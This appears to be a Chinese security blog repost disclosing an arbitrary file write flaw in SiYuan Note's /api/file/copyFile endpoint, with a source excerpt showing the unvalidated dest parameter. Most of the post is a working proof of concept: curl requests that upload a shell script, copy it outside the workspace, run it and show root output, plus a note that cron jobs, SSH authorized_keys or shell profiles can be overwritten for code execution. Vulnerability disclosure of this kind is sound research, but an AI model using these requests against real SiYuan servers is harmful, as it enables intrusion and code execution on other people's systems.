思源笔记存在前台任意文件写入漏洞

admin 2026-02-09 00:56:09 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文披露思源笔记存在前台任意文件写入漏洞。漏洞源于/api/file/copyFile接口未对dest参数进行路径验证,导致认证用户可将文件复制至任意系统路径。攻击者通过上传恶意脚本并利用此漏洞写入敏感位置,最终实现远程代码执行。文章提供了详细的漏洞代码分析及复现步骤,建议用户及时修复并限制接口访问。 综合评分: 88 文章分类: 漏洞分析,代码审计,渗透测试,漏洞POC


cover_image

思源笔记存在前台任意文件写入漏洞

XingYue404 XingYue404

星悦安全

2026年2月8日 15:53 浙江

点击上方蓝字关注我们 并设为星标

0x00 前言

思源笔记是一款隐私优先的个人知识管理系统,支持细粒度块级引用和 Markdown 所见即所得,开源且支持完全离线使用,同时也支持端到端加密同步。融合块、大纲和双向链接,构建永恒的数字花园

0x01 漏洞研究&复现

/api/file/copyFile端点不验证dest参数,允许认证用户将文件写入文件系统中的任意位置。可直接导致远程代码执行(RCE),通过写入敏感位置,如cron作业、SSH authorized_keys作业或shell配置文件.

// kernel/api/file.go lines 94-139
func copyFile(c *gin.Context) {
    // ...
    src := arg["src"].(string)
    src, err := model.GetAssetAbsPath(src)  // src is validated
    // ...

    dest := arg["dest"].(string)  // dest is NOT validated!
    if err = filelock.Copy(src, dest); err != nil {
        // ...
    }
}

src参数通过 model.GetAssetAbsPath()正确验证,但dest参数接受任意绝对路径且无需验证,允许文件写入工作区目录之外

步骤1:将恶意内容上传到工作区

curl -X POST "http://target:6806/api/file/putFile" \
&nbsp; -H&nbsp;"Authorization: Token <API_TOKEN>"&nbsp;\
&nbsp; -F&nbsp;"path=/data/assets/malicious.sh"&nbsp;\
&nbsp; -F&nbsp;"file=@-;filename=malicious.sh"&nbsp;<<<&nbsp;'#!/bin/sh
id > /tmp/pwned.txt
hostname >> /tmp/pwned.txt'

步骤2:复制到任意位置(例如,/tmp)

curl -X POST&nbsp;"http://target:6806/api/file/copyFile"&nbsp;\
&nbsp; -H&nbsp;"Authorization: Token <API_TOKEN>"&nbsp;\
&nbsp; -H&nbsp;"Content-Type: application/json"&nbsp;\
&nbsp; -d&nbsp;'{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'

步骤3:验证文件是否写入工作区外

cat /tmp/malicious.sh
# Output: #!/bin/sh
# &nbsp; &nbsp; &nbsp; &nbsp; id > /tmp/pwned.txt
# &nbsp; &nbsp; &nbsp; &nbsp; hostname >> /tmp/pwned.txt

成功案例:

# Write script to /tmp
curl -X POST&nbsp;"http://target:6806/api/file/copyFile"&nbsp;\
&nbsp; -H&nbsp;"Authorization: Token <API_TOKEN>"&nbsp;\
&nbsp; -d&nbsp;'{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'

# Execute (simulating cron or login trigger)
sh /tmp/malicious.sh

# Result
cat /tmp/pwned.txt
# uid=0(root) gid=0(root) groups=0(root)...

0x02 源码下载

标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,交易所

关注下方公众号,发送 260208 获取源码!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!****


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:星悦安全 XingYue404 XingYue404《思源笔记存在前台任意文件写入漏洞》

评论:0   参与:  0